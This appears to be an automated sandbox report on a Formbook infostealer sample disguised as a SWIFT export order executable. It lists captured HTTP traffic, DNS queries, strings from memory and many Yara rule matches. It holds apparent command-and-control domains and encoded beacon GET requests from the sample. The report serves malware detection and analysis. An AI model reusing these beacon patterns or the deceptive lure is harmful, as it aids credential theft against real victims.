61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" content="never" /> <title>Access denied</title> <style type="text/css">
          Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Thu, 25 Nov 2021 16:31:56 GMTContent-Type: text/htmlContent-Length: 275ETag: "618be761-113"Via: 1.1 googleConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>
          Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.263450761.0000000002C71000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
          Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmpString found in binary or memory: https://help.gandi.net/en
          Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmpString found in binary or memory: https://news.gandi.net/en
          Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmpString found in binary or memory: https://shop.gandi.net/en
          Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmpString found in binary or memory: https://shop.gandi.net/en/domain/suggest?search=elderlycareacademy.com&amp;source=parking
          Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmpString found in binary or memory: https://shop.gandi.net/en/domain/transfer
          Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmpString found in binary or memory: https://whois.gandi.net/en/results?search=elderlycareacademy.com
          Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmpString found in binary or memory: https://www.gandi.net/en
          Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmpString found in binary or memory: https://www.gandi.net/en/cloud
          Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmpString found in binary or memory: https://www.gandi.net/en/domain
          Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmpString found in binary or memory: https://www.gandi.net/en/security
          Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmpString found in binary or memory: https://www.gandi.net/en/simple-hosting
          Source: unknownDNS traffic detected: queries for: www.innovativepropsolutions.com
          Source: global trafficHTTP traffic detected: GET /46uq/?3fQ0Khi=Ue3PnYf+WtitO9Jkut75Ma3k2TKhCZznjjMu1kid5hA29ktIECD3KZ7svhzldzsG+GSp&j0=SFN8Rxuh3 HTTP/1.1Host: www.wamhsh.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /46uq/?j0=SFN8Rxuh3&3fQ0Khi=KgIlRYVH25tNYqbEG8kO4R44bHZw5lHi55V8k/E4GGeqoND16iqE+SGGf+ZfndkYvzRB HTTP/1.1Host: www.pyjama-france.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /46uq/?3fQ0Khi=bs9J1aeGn7//rC5/XQ3RZfL5fo+K3BeziJUGIjAdanx1gP9H8FkBLk3VYXo90D5B+GRs&j0=SFN8Rxuh3 HTTP/1.1Host: www.hpsaddlerock.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /46uq/?j0=SFN8Rxuh3&3fQ0Khi=IBlQMs5j29CKqlv3/eZQ6Z47udTwmev2IX+bwOiN2E8lumQwhRgtDV6FzU7U1t+cHC/Y HTTP/1.1Host: www.aarondecker.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

          E-Banking Fraud:

          barindex
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORY

          System Summary:

          barindex
          Malicious sample detected (through community Yara rule)Show sources
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Initial sample is a PE file and has a suspicious nameShow sources
          Source: initial sampleStatic PE information: Filename: TT_SWIFT_Export Order_noref S10SMG00318021.exe
          Source: TT_SWIFT_Export Order_noref S10SMG00318021.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 0_2_00FD82500_2_00FD8250
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 0_2_00FDD2F80_2_00FDD2F8
